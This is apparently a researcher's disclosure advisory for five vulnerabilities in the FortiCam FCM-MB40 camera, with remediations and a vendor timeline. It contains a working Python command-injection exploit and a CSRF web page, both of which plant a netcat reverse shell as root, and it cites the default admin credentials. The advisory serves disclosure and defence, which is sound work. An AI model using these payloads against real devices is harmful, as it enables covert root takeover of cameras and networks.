Original posting:  
## Background  
In March of 2019 I discovered five vulnerabilities in Fortinet's  
FortiCam FCM-MB40[1] product.  
Part-way through disclosing this vulnerability, I discovered that the  
FCM-MB40 is manufactured by a company called Dynacolor Inc[2], which  
calls the product "Q2-H"[3].  
The FortiCam FCM-MB40 software version which I found these  
vulnerabilities in was the latest version at the time (and at the time  
of posting this, still is), v1.2.0.0.  
Since discovering these vulnerabilities I have been unable to get my  
hands on a Q2-H which is not branded as Fortinet. As such, I am unable  
to confirm whether the below vulnerabilities also apply directly to the  
Q2-H device. In saying that, I am reasonably confident that the majority  
of the vulnerabilities also affect the Q2-H.  
As of the date of publication (2019-06-19), no fix for these issues has  
been released or announced by Fortinet or Dynacolor.  
All five of these vulnerabilities are currently pending CVE assignment,  
and this page will be updated when they have been assigned.  
The first (1), CVE-TBA, is an unsanitised input vulnerability in the  
FortiCam's admin web interface, resulting in remote command execution as  
`root`, when authenticated as an administrative user.  
The second (2), CVE-TBA, is a cross-site request forgery (CSRF)  
vulnerability which allows an attacker to fool a browser logged in as  
the "admin" user into forging requests which can reconfigure the  
FortiCam in any way that the "admin" user is able to from the web  
The third (3), CVE-TBA, is a hardcoded SSL/TLS encryption key  
The fourth (4), CVE-TBA, refers to the insecure (cleartext) storage of  
administrative password credentials on the device.  
The fifth (5), CVE-TBA, is a vulnerability whereby the device's  
"factory reset" function does not sufficiently reset the device.  
Below, I will cover all five vulnerabilities in detail.  
## 1 - CVE-TBA - FCM-MB40 Remote Command Execution as Root  
### Summary  
Forticam FCM-MB40 Remote Command Execution Vulnerability  
Product: FCM-MB40  
Version: v1.2.0.0  
Vendor: Fortinet  
CWE-78: Improper Neutralisation of Special Elements used in an OS  
Command ('OS Command Injection')  
Many CGI scripts in the FCM-MB40's `/cgi-bin/` web directory pass input  
from user-provided parameters directly to shell commands such as `sed`  
without sanitising or verifying the input.  
An attacker with admin access to the web interface is able to gain  
command execution as root, which would allow them to implement  
persistence, and have full covert control over the device for an  
indefinite period of time.  
### Details  
The below proof-of-concept python script exploits a call to `sed` in  
`/cgi-bin/camctrl_save_profile.cgi` which directly uses the parameter  
`name` from the user's GET request to modify the contents of  
`/cgi-bin/ddns.cgi` to execute a reverse shell using `netcat`.  
import requests  
# replace IP addresses with relevant test environment IP addresses  
forticam_ip = ''  
callback_ip = ''  
callback_port = '1337'  
# default web interface admin password is admin  
username = 'admin'  
password = 'admin'  
name_param = 'a%20-e%20s/^if.*/nc\\t{}\\t{}\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20'.format(callback_ip, callback_port)  
sed_url = 'http://{}/cgi-bin/camctrl_save_profile.cgi?num=9&name={}&save=profile'.format(forticam_ip, name_param)  
execute_url = 'http://{}/cgi-bin/ddns.cgi'.format(forticam_ip)  
print("[-] Attacking {}".format(forticam_ip))  
requests.get(sed_url, auth=requests.auth.HTTPBasicAuth(username, password))  
requests.get(execute_url, auth=requests.auth.HTTPBasicAuth(username, password))  
The line of code being exploited in `camctrl_save_profile.cgi` is line  
64, shown below (whitespace modified for ease of reading):  
sed -i '/Profile.'$targetp'.Name=/s/Profile.'$targetp'.Name=.*/Profile.'$targetp'.Name='$name'/' /etc/sysconfig/$targetconf  
Note the `$name` parameter is directly inserted into the `sed` command  
without sanitisation.  
This allows the attacker to take control of `sed` to modify the contents  
of any arbitrary file.  
Before running the above script, we run `nc -nvlp 1337` on our host, to  
catch the reverse shell that will be executed on the camera.  
In the above proof of concept we modify `ddns.cgi` to execute `nc 1337 -e /bin/sh`.  
We then send a request to the camera, requesting `ddns.cgi`, causing our  
`nc` command to be executed as the `root` user.  
After the reverse shell connects back to us, we can verify that the  
exploit has successfully run as the root user:  
uid=0(root) gid=0(root)  
uname -a  
Linux FortiCamera 3.10.73 #5 PREEMPT Tue Jan 17 16:17:47 CST 2017 armv7l GNU/Linux  
From this point, it is possible to take complete control of the camera  
in any way we like.   
An attacker could utilise widely known default credentials and network  
reachability to covertly run commands as the root user, implanting a  
persistent callback to their command and control server which will  
remain on the camera until it's firmware is upgraded.  
#### Note  
* The above pair of scripts are only an example of this vulnerability.  
The same pattern which allows this exploit to function exists in many  
other CGI scripts in the FCM-MB40's `/cgi-bin` web directory.  
### Recommended Remediations  
* User input in all CGI scripts should be checked for potentially  
dangerous characters before being inserted into shell commands.  
* The web server executing CGI scripts should be running as a  
non-privileged user, so that this vulnerability would not expose  
access to the root user.  
### Fix Information  
Dynacolor and Fortinet have yet to provide a fix.  
## 2 - CVE-TBA - FCM-MB40 CSRF in Multiple Scripts  
### Summary  
Forticam FCM-MB40 CSRF in Multiple CGI Scripts  
Product: FCM-MB40  
Version: v1.2.0.0  
Vendor: Fortinet  
CWE-352: Cross-Site Request Forgery (CSRF)  
All CGI scripts in the FCM-MB40's `/cgi-bin/` web directory allow an  
attacker to fool a logged-in "admin"'s browser into forging requests  
which can reconfigure the FCM-MB40 in any way that the "admin" user is  
able to from the web interface.  
An attacker who knows the IP address of a FCM-MB40, and who is able to  
trick an "admin" user into opening a crafted webpage, is able to  
reconfigure the FCM-MB40 on behalf of the "admin" user, without their  
knowledge or authorisation.  
### Details  
The below are some (non-exhaustive) example changes that the attacker  
could make to the FCM-MB40 by exploiting this CSRF:  
* Change admin password  
* Add new admin account  
* Restart camera  
* Configure FTP server for camera to send footage to  
* Disable scheduled recording  
* Upgrade firmware  
* Change camera hostname  
These changes are possible because the FCM-MB40's web interface uses GET  
parameters to influence the device's configuration state.  
For example, to change the device's hostname, a user simply needs to  
visit the following URL when logged in as the "admin" user:  
It is trivial for an attacker to trick a user's web browser into  
performing a GET request to a URL such as the above.  
Combined with the previously disclosed vulnerability (#1)  
regarding remote command execution, this CSRF vulnerability allows a  
remote, unauthenticated attacker to gain remote command execution as  
root. The below proof-of-concept web-page demonstrates this.  
<!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) -->  
const sleep = (milliseconds) => {  
return new Promise(resolve => setTimeout(resolve, milliseconds))  
var sed_url = '^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile';  
var execute_url = '';  
var sed_img = document.createElement("img");  
sed_img.src = sed_url;  
sleep(400).then(() => {  
var execute_img = document.createElement("img");  
execute_img.src = execute_url;  
<h1>Welcome to my non-malicious website.</h1>  
Follow the following steps to demonstrate this PoC:  
1. Replace IP addresses in Javascript code to represent your testing  
2. Launch a `netcat` listener on the attacker's host using `nc -nvlp  
3. Ensure the "admin" user's browser is logged in to the FCM-MB40.  
* Note: all modern browsers will cache Basic Authentication  
credentials (such as those used by the FCM-MB40) even if the  
FCM-MB40's administration page is closed.  
4. Open the above crafted HTML document using the "admin" user's  
* Note: In an attack scenario, this step would be performed by  
implanting the code into a legitimate webpage that the "admin"  
user visits, or by tricking the "admin" user into opening a page  
which includes the code.  
5. Note that the `netcat` listener established in step 2. has received  
a connection from the camera, and that it is presenting a `/bin/sh`  
session as root.  
* Note: type `id` in the `netcat` connection to verify this.  
_Note: After this issue has been exploited, the state of the system will  
have changed, and future exploitation attempts may require  
### Recommended Remediations  
* All web application parameters which are used to modify device state  
should be required to be sent as POST parameters.  
* POST requests should be protected by implementing some form of CSRF  
protection, such as dynamic secret tokens which are sent to the user  
as part of the HTML form which they fill out. This secret token is  
then sent as a POST parameter with the form data. This secret token  
must be verified by the CGI script as correct before any changes are  
made to the device.  
* More information about CSRF and how to prevent it can be found on the  
OWASP website[4].  
### Fix Information  
Dynacolor and Fortinet have yet to provide a fix.  
## 3 - CVE-TBA - FCM-MB40 Hardcoded SSL/TLS Encryption Keys  
### Summary  
Forticam FCM-MB40 Hardcoded SSL/TLS Encryption Keys  
Product: FCM-MB40  
Version: v1.2.0.0  
Vendor: Fortinet  
CWE-321: Use of Hard-coded Cryptographic Key  
The FortiCam FCM-MB40 and other FortiCams utilise a hardcoded,  
preconfigured SSL certificate for their web administration interface.  
This could allow anybody with access to the traffic to decrypt after the  
fact, or man-in-the-middle the traffic if they are in-line.  
### Details  
The FortiCam FCM-MB40's Mbedthis Appweb web server uses an SSL  
certificate deployed with the firmware, and is never changed unless the  
user chooses to regenerate a new certificate.  
Effectively, all FortiCam FCM-MB40's use the same SSL certificate,  
meaning that any user with access to one of the cameras is able to  
decrypt the SSL traffic for any FCM-MB40.  
The below lines are extracted from `/etc/appWeb/appweb.conf`, which  
identify the certificate for the camera to use:  
<VirtualHost *:443>   
DocumentRoot "/usr/apache/htdocs"   
SSLEngine on   
SSLProtocol ALL -SSLV2   
# WARNING: you must regenerate the server.crt and server.key.pem  
SSLCertificateFile "/etc/ssl/certificate.pem"   
# WARNING: we are using the decrypted key here so it won't prompt for the  
# password. Replace with server.key for higher security   
SSLCertificateKeyFile "/etc/ssl/certificate.pem"   
A description of the listed certificate (private key excluded) is  
included below:  
Version: 3 (0x2)  
Serial Number: 138467 (0x21ce3)  
Signature Algorithm: sha1WithRSAEncryption  
Issuer: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=Certificate Authority, CN=support/  
Not Before: Aug 14 15:18:49 2012 GMT  
Not After : Jan 19 03:14:07 2038 GMT  
Subject: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=FortiCam, CN=camera/  
Subject Public Key Info:  
Public Key Algorithm: rsaEncryption  
RSA Public Key: (2048 bit)  
Modulus (2048 bit):  
Exponent: 65537 (0x10001)  
X509v3 extensions:  
X509v3 Basic Constraints:   
Signature Algorithm: sha1WithRSAEncryption  
Using the above certificate, and the corresponding private key, anybody  
who gains access to the SSL traffic from an FCM-MB40 is able to decrypt  
it, which can expose the admin credentials, even if the camera is joined  
to and managed by FortiRecorder.  
### Recommended Remediations  
* Upon first boot with a fresh firmware image, the camera should  
generate a unique SSL certificate which is not shared between  
customers and devices.  
### Fix Information  
Dynacolor and Fortinet have yet to provide a fix.  
## 4 - CVE-TBA - FCM-MB40 Cleartext Storage of Credentials  
### Summary  
Forticam FCM-MB40 Cleartext Storage of Credentials  
Product: FCM-MB40  
Version: v1.2.0.0  
Vendor: Fortinet  
CWE-256: Unprotected Storage of Credentials  
The FortiCam FCM-MB40 stores the username and password configured for  
the administrative web interface in cleartext on it's filesystem.  
### Details  
The login credentials for any user allowed to log into the web interface  
are accessible in the file `/etc/appWeb/appweb.pass`.  
These credentials are also accessible from the following URL on the  
camera's web administration interface:  
If a user gains read-only access to the device's filesystem, or web  
administration interface, they are able to acquire the credentials used  
to administer the device.  
Due to this issue, a user with filesystem access is also able to read  
the password which FortiRecorder sets on a FortiCam FCM-MB40.  
If FortiRecorder uses the same password for all FortiCams when they join  
the FortiRecorder, this issue would allow a user with access to one  
camera to gain access to every camera "owned" by the FortiRecorder.  
### Recommended Remediations  
* User credentials should be stored in a strong hash format which is  
suitable for password storage, instead of cleartext. `bcrypt` can be  
configured as a suitably strong functionz  
### Fix Information  
Dynacolor and Fortinet have yet to provide a fix.  
## 5 - CVE-TBA - FCM-MB40 Insufficient Factory Reset  
### Summary  
Forticam FCM-MB40 Insufficient Factory Reset Procedure  
Product: FCM-MB40  
Version: v1.2.0.0  
Vendor: Fortinet  
CWE-665: Improper Initialisation  
The FortiCam FCM-MB40's factory reset functionality, initiated through  
pressing the physical factory reset button, or initiated through  
software, does not reset all aspects of the system to the factory state.  
An adversary with temporary access to the device could implant a  
backdoor account or service which would not be removed when undertaking  
a factory reset.  
### Details  
If low level access is gained to a FortiCam MB40, and filesystem  
modifications are made, these are not reverted when the device owner  
executes the factory reset function.  
The factory reset function is implemented in `/usr/sbin/` and  
Both of these scripts reset some configuration parameters.  
Combined with the previously disclosed vulnerability (#1)  
regarding remote command execution, any user which is able to gain  
access to the camera is able to implant a backdoor executable on the  
camera which will execute whenever the camera starts, giving the  
attacker persistent root access to the camera.   
For example:   
* a user could sell the camera on to a second owner;  
* the camera could be tampered with in transit to its final  
After executing the factory reset function, a backdoor previously  
installed, such as a malicious cron entry or changed root password, is  
not removed.   
The only way that a user which doesn't trust their supply chain is able  
to restore the device to factory defaults is to perform a firmware  
upgrade, however in order to perform a firmware upgrade the user must  
first connect the untrusted device to their network.  
### Recommended Remediations  
* The factory reset function should re-flash the firmware on the  
camera, and this process should be cryptographically verified to  
ensure that the firmware which is being reflashed has not been  
tampered with.  
### Fix Information  
Dynacolor and Fortinet have yet to provide a fix.  
## General Recommendations For Users  
If you are using the FortiCam FCM-MB40 devices, consider the below tips  
in order harden your device, and protect your network.  
* Set a strong, **unique** password for the administrative user.  
* Do not use a password which you use for other systems on this  
* Keep these devices in a segregated environment with firewall rules  
preventing it from communicating with the Internet, or other networks  
in your environment, and preventing other devices on your network  
from communicating with it.  
* Generate SSL/TLS certificates from your internal CA infrastructure,  
or generate a new self-signed certificate on the device, replacing  
the built-in, hardcoded certificate.  
* Whenever attempting to perform a factory reset, realise that the  
factory reset functionality does not reset the device to factory  
defaults. In order to completely restore the device to defaults,  
perform a firmware upgrade.  
## Timeline  
* Reached out to Fortinet contacts asking who to contact for  
disclosure. Provided contact information and PGP information.  
* Provided full vulnerability information to provided contact.  
* Provided full vulnerability information about vulnerability two to  
provided contact.  
* Preferred date of disclosure, 2019-05-10, provided to contact.  
* Reached out to contact asking whether they have received  
communications. Realised that contact was not able to decrypt my  
* Sent the same vulnerability information to  
including revised disclosure date of 2019-05-17.  
* Received response from Fortinet PSIRT, stating that the upstream  
vendor has been notified, and that because the development is done by  
a 3rd party, Fortinet is unsure whether a 60 day disclosure date will  
be met.  
* Provided full vulnerability information about vulnerabilities three,  
four and five to Fortinet PSIRT. Noted that preferred disclosure date  
for these vulnerabilities is 2019-05-20.  
* Received acknowledgement from Fortinet PSIRT.  
* Requested an update on progress.  
* Fortinet PSIRT state that no update has been provided from upstream  
* Fortinet PSIRT provides email addresses for upstream vendor,  
* Reached out to Dynacolor, asking for PGP/secure communications  
* Reminded Fortinet that vulnerabilities one and two are planned to be  
disclosed on 2019-05-17.  
* Fortinet PSIRT mention that Dynacolor have acknowledged the  
* Fortinet PSIRT state that they are not sure whether Dynacolor are  
able to issues a patch before 2019-05-17. Fortinet suggest a 90-day  
disclosure deadline in this case.  
* Respond to PSIRT with updated disclosure dates 2019-06-16 and  
2019-06-19, also letting them know that I have yet to receive a  
response from Dynacolor.  
* Reach out to Dynacolor again, stating that I have not yet received a  
response, and that there are product vulnerabilities which will be  
disclosed on 2019-06-16, following the disclosure period previously  
discussed with Fortinet. I also repeat my request to set up an  
encrypted channel.  
* Dynacolor respond, stating that they do not have a PGP key, and ask  
whether there is another way we could communicate.  
* Respond stating I am happy to communicate using Keybase (account  
provided), or any other secure method they can use. Alternatively I  
state that we can communicate using plaintext email if required.  
* This post is published.  
## Closure  
Thanks to Fortinet for their timely and friendly co-operation, and to my  
employer, RIoT Solutions[5], for allowing me to perform this research as  
part of my work.  
PGP Key: 0xA528A62C